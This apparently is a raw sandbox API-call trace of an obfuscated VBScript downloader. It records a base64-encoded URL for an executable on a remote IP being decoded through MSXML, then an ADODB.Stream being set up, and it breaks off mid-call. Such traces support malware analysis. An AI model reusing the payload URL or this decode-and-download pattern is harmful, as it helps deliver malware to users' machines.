[0087.530] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154544 | out: ppvObject=0x154544*=0x555430) returned 0x0 [0087.530] DOMDocument:IDispatchEx:InvokeEx (in: This=0x555430, id=26, lcid=0x409, wFlags=0x4, pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x14, wReserved2=0xc0e4, wReserved3=0x14, varVal1="bin.base64", varVal2=0x14c0cc)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec, pspCaller=0x846d2a8 | out: pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x14, wReserved2=0xc0e4, wReserved3=0x14, varVal1="bin.base64", varVal2=0x14c0cc)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0087.531] DOMDocument:IUnknown:Release (This=0x555430) returned 0x2 [0087.531] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0087.531] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.531] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vartyzx", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.531] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vartyzx", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.531] GetCurrentThreadId () returned 0xd44 [0087.531] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.531] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.532] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vartx", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.532] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vartx", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.532] GetCurrentThreadId () returned 0xd44 [0087.532] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.532] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.532] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.532] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.533] GetCurrentThreadId () returned 0xd44 [0087.533] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.533] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.534] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.534] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.534] GetCurrentThreadId () returned 0xd44 [0087.534] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.534] ??2@YAPAXI@Z () returned 0x86bfee0 [0087.534] malloc (_Size=0x804) returned 0x8470df8 [0087.534] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0087.534] _wcsicmp (_String1="cvwtr5ycbve", _String2="age64Dicode") returned 2 [0087.534] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0087.534] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15453c | out: ppvObject=0x15453c*=0x555430) returned 0x0 [0087.535] DOMDocument:IDispatchEx:GetDispId (in: This=0x555430, bstrName="Text", grfdex=0x8, pid=0x154558 | out: pid=0x154558*=24) returned 0x0 [0087.535] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0087.535] DOMDocument:IUnknown:AddRef (This=0x555430) returned 0x2 [0087.535] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154544 | out: ppvObject=0x154544*=0x555430) returned 0x0 [0087.535] DOMDocument:IDispatchEx:InvokeEx (in: This=0x555430, id=24, lcid=0x409, wFlags=0x4, pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1="aHR0UDovLzEzLjkyLjEwMC4yMDgvZG9jL2RvYy5leGU=", varVal2=0x470e)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec, pspCaller=0x846d2a8 | out: pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1="aHR0UDovLzEzLjkyLjEwMC4yMDgvZG9jL2RvYy5leGU=", varVal2=0x470e)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0087.536] DOMDocument:IUnknown:Release (This=0x555430) returned 0x2 [0087.536] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0087.536] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154828 | out: ppvObject=0x154828*=0x555430) returned 0x0 [0087.536] DOMDocument:IDispatchEx:GetDispId (in: This=0x555430, bstrName="NodeTypedValue", grfdex=0x8, pid=0x154844 | out: pid=0x154844*=25) returned 0x0 [0087.536] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0087.536] DOMDocument:IUnknown:AddRef (This=0x555430) returned 0x2 [0087.537] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154830 | out: ppvObject=0x154830*=0x555430) returned 0x0 [0087.537] DOMDocument:IDispatchEx:InvokeEx (in: This=0x555430, id=25, lcid=0x409, wFlags=0x3, pdp=0x1547fc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6718, pei=0x1547d8, pspCaller=0x846d2a8 | out: pdp=0x1547fc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b07918*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6d03b28*, rgsabound=((cElements=0x20, lLbound=0))), varVal2=0x0), pei=0x1547d8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0087.537] DOMDocument:IUnknown:Release (This=0x555430) returned 0x2 [0087.537] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0087.537] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0087.537] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.538] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="lfkfdiooie", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.538] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="lfkfdiooie", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.538] GetCurrentThreadId () returned 0xd44 [0087.538] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.538] ??2@YAPAXI@Z () returned 0x11c2228 [0087.538] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="utf-8", cchSrc=5, lpDestStr=0x6d03adc, cchDest=5 | out: lpDestStr="utf-8") returned 5 [0087.538] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.539] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vgct783hth", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.539] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vgct783hth", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.539] GetCurrentThreadId () returned 0xd44 [0087.539] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.539] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.539] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="piiing", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.539] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="piiing", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.539] GetCurrentThreadId () returned 0xd44 [0087.540] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.540] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.540] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ldiwuywfj", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.540] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ldiwuywfj", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.540] GetCurrentThreadId () returned 0xd44 [0087.540] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.540] malloc (_Size=0x204) returned 0x84750c8 [0087.540] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.541] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.541] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.541] GetCurrentThreadId () returned 0xd44 [0087.541] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.541] ??2@YAPAXI@Z () returned 0x86bfee0 [0087.541] malloc (_Size=0x804) returned 0x8470df8 [0087.541] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.541] _wcsicmp (_String1="aaax", _String2="BytesToStr") returned -1 [0087.541] CLSIDFromProgIDEx (in: lpszProgID="ADODB.Stream", lpclsid=0x154268 | out: lpclsid=0x154268*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4))) returned 0x0 [0087.541] SysStringLen (param_1=0x0) returned 0x0 [0087.541] CoGetClassObject (in: rclsid=0x154268*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x154258 | out: ppv=0x154258*=0x962b2d0) returned 0x0 [0087.542] Stream:IUnknown:QueryInterface (in: This=0x962b2d0, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x154254 | out: ppvObject=0x154254*=0x0) returned 0x80004002 [0087.542] Stream:IClassFactory:CreateInstance (in: This=0x962b2d0, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15425c | out: ppvObject=0x15425c*=0x962bad0) returned 0x0 [0087.542] Stream:IUnknown:Release (This=0x962b2d0) returned 0x1 [0087.543] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154220 | out: ppvObject=0x154220*=0x962bb00) returned 0x0 [0087.543] ??2@YAPAXI@Z () returned 0x1112950 [0087.543] Stream:IObjectWithSite:SetSite (This=0x962bb00, pUnkSite=0x1112950) returned 0x0 [0087.543] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154168 | out: ppvObject=0x154168*=0x0) returned 0x80004002 [0087.543] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154158 | out: ppvObject=0x154158*=0x0) returned 0x80004002 [0087.543] DOMDocument:IUnknown:AddRef (This=0x1112950) returned 0x2 [0087.543] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x66853000*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1541b8 | out: ppvObject=0x1541b8*=0x0) returned 0x80004002 [0087.543] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1541b4 | out: ppvObject=0x1541b4*=0x1112950) returned 0x0 [0087.544] DOMDocument:IServiceProvider:QueryService (in: This=0x1112950, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x1541dc | out: ppvObject=0x1541dc*=0x0) returned 0x80004002 [0087.544] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154190 | out: ppvObject=0x154190*=0x83fd368) returned 0x0 [0087.544] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15418c | out: ppvObject=0x15418c*=0x83fd378) returned 0x0 [0087.544] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x1541dc | out: ppvObject=0x1541dc*=0x0) returned 0x80004002 [0087.544] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.544] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.544] DOMDocument:IUnknown:Release (This=0x1112950) returned 0x2 [0087.544] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1541bc | out: ppvObject=0x1541bc*=0x1112950) returned 0x0 [0087.544] DOMDocument:IServiceProvider:QueryService (in: This=0x1112950, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x1541b0 | out: ppvObject=0x1541b0*=0x0) returned 0x80004002 [0087.544] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154188 | out: ppvObject=0x154188*=0x83fd368) returned 0x0 [0087.544] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154184 | out: ppvObject=0x154184*=0x83fd378) returned 0x0 [0087.545] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x1541b0 | out: ppvObject=0x1541b0*=0x0) returned 0x80004002 [0087.545] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.545] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.545] DOMDocument:IUnknown:Release (This=0x1112950) returned 0x2 [0087.545] Stream:IUnknown:Release (This=0x962bb00) returned 0x1 [0087.545] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154210 | out: ppvObject=0x154210*=0x962bad0) returned 0x0 [0087.545] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x3 [0087.545] Stream:IUnknown:Release (This=0x962bad0) returned 0x2 [0087.545] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0087.545] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.545] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154234 | out: ppvObject=0x154234*=0x11977a8) returned 0x0 [0087.545] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="baax", grfdex=0x8, pid=0x154250 | out: pid=0x154250*=1393324) returned 0x80020006 [0087.545] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="baax", grfdex=0x8, pid=0x1541a8 | out: pid=0x1541a8*=-1) returned 0x80020006 [0087.545] GetCurrentThreadId () returned 0xd44 [0087.546] IUnknown:Release (This=0x11977a8) returned 0x9 [0087.546] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0087.546] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.546] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.546] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.546] GetCurrentThreadId () returned 0xd44 [0087.547] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.547] ??2@YAPAXI@Z () returned 0x86bfee0 [0087.547] malloc (_Size=0x804) returned 0x8470df8 [0087.547] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.547] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.547] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0087.547] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Type", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=4) returned 0x0 [0087.547] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0087.547] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0087.547] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962bad0) returned 0x0 [0087.548] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0087.548] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.548] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="svksovosrgh", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.548] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="svksovosrgh", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.548] GetCurrentThreadId () returned 0xd44 [0087.549] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.549] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: 